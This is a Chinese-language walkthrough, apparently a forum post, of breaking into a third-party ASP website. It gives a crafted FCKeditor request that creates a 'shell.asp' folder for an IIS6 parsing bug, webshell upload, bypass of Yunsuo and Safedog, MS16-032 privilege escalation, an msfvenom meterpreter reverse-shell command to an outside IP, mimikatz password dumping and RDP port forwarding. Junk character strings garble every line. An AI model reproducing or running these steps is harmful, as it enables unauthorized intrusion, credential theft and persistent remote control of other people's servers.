( Y+ z3 ?1 O1 D4 r; m |
& s; V# u6 y3 X7 @2 w, b + T# H, T. I" w; F v/ D" S$ e
4 E5 |) K! a. Y; k9 }一、 利用getwebshell篇 # _2 G& k* o1 q; g/ f; b
' J. X+ n' { p: K g$ @3 R
首先对目标站进行扫描,发现是asp的,直接扫出网站后台和默认数据库,下载解密登陆如图:
, ^6 A: c' @0 N
) u+ ~5 D* m6 |3 \ ; n! P( f. P/ X3 ^0 x N9 Y C
下面进后台发现有fckeditor,而且还是iis6.0的,可以考虑创建个asp目录来构造解析(fck编辑器路径被改成别的需要burpsuite抓包的时候看到)
@# o9 X( o( @. Q+ F( O" g
) \* V3 [2 o' | ^/ ?% ?/ m8 c下面我们构造一个asp目录,如:
/ b! r# x" l3 c m3 \ P/ h% i3 t' o+ S4 S" S# r: G$ x/ H" i
: k2 r" J+ P* k) A6 G5 `6 M, f. N http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975
0 V- D7 v% D+ W$ L* F2 g4 G
5 D5 R+ X: ^/ z9 B 4 t4 c. y& u# M' }. {% I
然后再给shell.asp目录上传一个jpg图片格式的一句话,然后用hatchet打开,然后看了一下支持aspx,那么我们就用包含的办法先把aspx后缀名改成.rar,然后再创建个111.ASPx,里面包含rar文件,进去以后看进程有云锁和安全狗,那么,那么我们慢慢来,慢慢来。 4 d" Z, q, o* j; ^6 W% r
' S5 @6 l% t! |5 O8 N) f
一、 绕过安全狗云锁提权并且加账号 7 t7 x( I3 ~- u& B( F9 @/ v

) Z7 D% h& X9 j" ?没法看系统信息,但是根据网站404页面可以断定是2003服务器,然后接着访问C:\Program Files (x86)存在断定是2003 64位系统,那么我们说干就干,我们上传ms16-032 64位直接干,但是发现上传exe或者别的格式exp会自动消失,看进程也没杀毒呀,没错没杀毒,是云锁有个功能防御了,那么突破云锁上传的方法就是利用rar,先把exp打包为64.rar上传,然后我们翻一下rar在哪个目录,在C:\Program Files (x86),然后开干
@) }; a) p' z
& t" t5 l* I# ]; ]. @, w如图:
; R$ X' P, h) ~! X+ b 6 j9 ]3 I8 A3 a: ^% o
然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组,我操后来也想着用getpassword64抓明文密码,但是一执行就卡死,没办法想到了metasploit
2 s# g9 Q ]& s% `, A* h( M 7 R$ o: F9 e( p4 b, A3 K
一、 利用metasploit
( R, A4 s! ]6 \7 v: M) t. ^. [; v & o% c" j$ t) V# l5 w* e6 h
首先用pentestbox生成一个64位的payload如下命令
, y, i# Q6 o' H# d& c
* y) ]) ?5 m/ _7 V n G% J* K8 X0 QmsfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
) t: E7 f' U' w9 G7 e 5 x6 A4 @# m/ V A, C
为什么要用443端口,之前我测试用别的端口直接被墙了没法上线,下面我们在system下执行这个mata,上线如图: & ]5 X8 @$ ^3 L9 E' {4 D# Y

: m" k" F( Y( t8 e& | W- @下面我们用这个命令抓一下明文密码命令1:use mimikatz 命令2:kerberos如下图: / f$ j T: X! R$ ~6 S
 # O' q& k/ R& t/ N. r( o$ p1 c
下面我们来做一个监听如下命令: ( \9 o+ U! d& G( C# P0 s
y1 H4 j5 r: I0 tportfwd add -l 6655 -p 3968 -r 127.0.0.1,这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图: # w5 P, O% C2 M1 q% ?% C
' s9 S0 `6 l5 z' N# t; Z6 }0 B' Q
% F! a: S, ? t% b, D. { |
/ u2 J% _' E+ d8 A& x* z